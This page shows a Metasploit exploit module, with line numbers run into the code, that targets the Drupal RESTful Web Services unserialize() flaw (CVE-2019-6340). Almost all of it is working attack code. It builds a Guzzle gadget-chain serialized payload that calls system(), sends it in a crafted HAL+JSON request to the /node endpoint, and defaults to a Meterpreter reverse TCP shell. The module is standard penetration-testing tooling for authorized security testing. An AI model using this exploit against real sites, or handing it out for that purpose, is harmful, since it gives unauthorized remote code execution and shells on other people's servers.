Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/drupal_restws_unserialize.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67# NOTE: All (four) Web Services modules need to be enabled8Rank = NormalRanking910include Msf::Exploit::Remote::HTTP::Drupal11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(update_info(info,15'Name' => 'Drupal RESTful Web Services unserialize() RCE',16'Description' => %q{17This module exploits a PHP unserialize() vulnerability in Drupal RESTful18Web Services by sending a crafted request to the /node REST endpoint.1920As per SA-CORE-2019-003, the initial remediation was to disable POST,21PATCH, and PUT, but Ambionics discovered that GET was also vulnerable22(albeit cached). Cached nodes can be exploited only once.2324Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of25this alternate vector.2627Drupal < 8.5.11 and < 8.6.10 are vulnerable.28},29'Author' => [30'Jasper Mattsson', # Discovery31'Charles Fol', # PoC32'Rotem Reiss', # Module33'wvu' # Module34],35'References' => [36['CVE', '2019-6340'],37['URL', 'https://www.drupal.org/sa-core-2019-003'],38['URL', 'https://www.drupal.org/psa-2019-02-22'],39['URL', 'https://www.ambionics.io/blog/drupal8-rce'],40['URL', 'https://github.com/ambionics/phpggc'],41['URL', 'https://twitter.com/jcran/status/1099206271901798400']42],43'DisclosureDate' => '2019-02-20',44'License' => MSF_LICENSE,45'Platform' => ['php', 'unix'],46'Arch' => [ARCH_PHP, ARCH_CMD],47'Privileged' => false,48'Targets' => [49['PHP In-Memory',50'Platform' => 'php',51'Arch' => ARCH_PHP,52'Type' => :php_memory,53'Payload' => {'BadChars' => "'"},54'DefaultOptions' => {55'PAYLOAD' => 'php/meterpreter/reverse_tcp'56}57],58['Unix In-Memory',59'Platform' => 'unix',60'Arch' => ARCH_CMD,61'Type' => :unix_memory,62'DefaultOptions' => {63'PAYLOAD' => 'cmd/unix/generic',64'CMD' => 'id'65}66]67],68'DefaultTarget' => 0,69'Notes' => {70'AKA' => ['SA-CORE-2019-003'],71'Stability' => [CRASH_SAFE],72'SideEffects' => [IOC_IN_LOGS],73'Reliability' => [UNRELIABLE_SESSION] # When using the GET method74}75))7677register_options([78OptEnum.new('METHOD', [true, 'HTTP method to use', 'POST',79['GET', 'POST', 'PATCH', 'PUT']]),80OptInt.new('NODE', [false, 'Node ID to target with GET method', 1]),81OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])82])83end8485def check86checkcode = CheckCode::Unknown8788version = drupal_version8990unless version91vprint_error('Could not determine Drupal version')92return checkcode93end9495if version.to_s !~ /^8\b/96vprint_error("Drupal #{version} is not supported")97return CheckCode::Safe98end99100vprint_status("Drupal #{version} targeted at #{full_uri}")101checkcode = CheckCode::Detected102103changelog = drupal_changelog(version)104105unless changelog106vprint_error('Could not determine Drupal patch level')107return checkcode108end109110case drupal_patch(changelog, 'SA-CORE-2019-003')111when nil112vprint_warning('CHANGELOG.txt no longer contains patch level')113when true114vprint_warning('Drupal appears patched in CHANGELOG.txt')115checkcode = CheckCode::Safe116when false117vprint_good('Drupal appears unpatched in CHANGELOG.txt')118checkcode = CheckCode::Appears119end120121# Any further with GET and we risk caching the targeted node122return checkcode if meth == 'GET'123124# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable125token = Rex::Text.rand_text_alphanumeric(8..42)126res = execute_command("echo #{token}")127128return checkcode unless res129130if res.body.include?(token)131vprint_good('Drupal is vulnerable to code execution')132checkcode = CheckCode::Vulnerable133end134135checkcode136end137138def exploit139if datastore['PAYLOAD'] == 'cmd/unix/generic'140print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')141# XXX: Naughty datastore modification142datastore['DUMP_OUTPUT'] = true143end144145case target['Type']146when :php_memory147# XXX: This will spawn a *very* obvious process148execute_command("php -r '#{payload.encoded}'")149when :unix_memory150execute_command(payload.encoded)151end152end153154def execute_command(cmd, opts = {})155vprint_status("Executing with system(): #{cmd}")156157# https://en.wikipedia.org/wiki/Hypertext_Application_Language158hal_json = JSON.pretty_generate(159'link' => [160'value' => 'link',161'options' => phpggc_payload(cmd)162],163'_links' => {164'type' => {165'href' => vhost_uri166}167}168)169170print_status("Sending #{meth} to #{node_uri} with link #{vhost_uri}")171172res = send_request_cgi({173'method' => meth,174'uri' => node_uri,175'ctype' => 'application/hal+json',176'vars_get' => {'_format' => 'hal_json'},177'data' => hal_json178}, 3.5)179180return unless res181182case res.code183# 401 isn't actually a failure when using the POST method184when 200, 401185print_line(res.body) if datastore['DUMP_OUTPUT']186if meth == 'GET'187print_warning('If you did not get code execution, try a new node ID')188end189when 404190print_error("#{node_uri} not found")191when 405192print_error("#{meth} method not allowed")193when 422194print_error('VHOST may need to be set')195when 406196print_error('Web Services may not be enabled')197else198print_error("Unexpected reply: #{res.inspect}")199end200201res202end203204# phpggc Guzzle/RCE1 system id205def phpggc_payload(cmd)206(207# http://www.phpinternalsbook.com/classes_objects/serialization.html208<<~EOF209O:24:"GuzzleHttp\\Psr7\\FnStream":2:{210s:33:"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{211s:5:"close";a:2:{212i:0;O:23:"GuzzleHttp\\HandlerStack":3:{213s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";214s:cmd_len:"cmd";215s:30:"\u0000GuzzleHttp\\HandlerStack\u0000stack";216a:1:{i:0;a:1:{i:0;s:6:"system";}}217s:31:"\u0000GuzzleHttp\\HandlerStack\u0000cached";218b:0;219}220i:1;s:7:"resolve";221}222}223s:9:"_fn_close";a:2:{224i:0;r:4;225i:1;s:7:"resolve";226}227}228EOF229).gsub(/\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)230end231232def meth233datastore['METHOD'] || 'POST'234end235236def node237datastore['NODE'] || 1238end239240def node_uri241if meth == 'GET'242normalize_uri(target_uri.path, '/node', node)243else244normalize_uri(target_uri.path, '/node')245end246end247248def vhost_uri249full_uri(250normalize_uri(target_uri.path, '/rest/type/shortcut/default'),251vhost_uri: true252)253end254255end256257258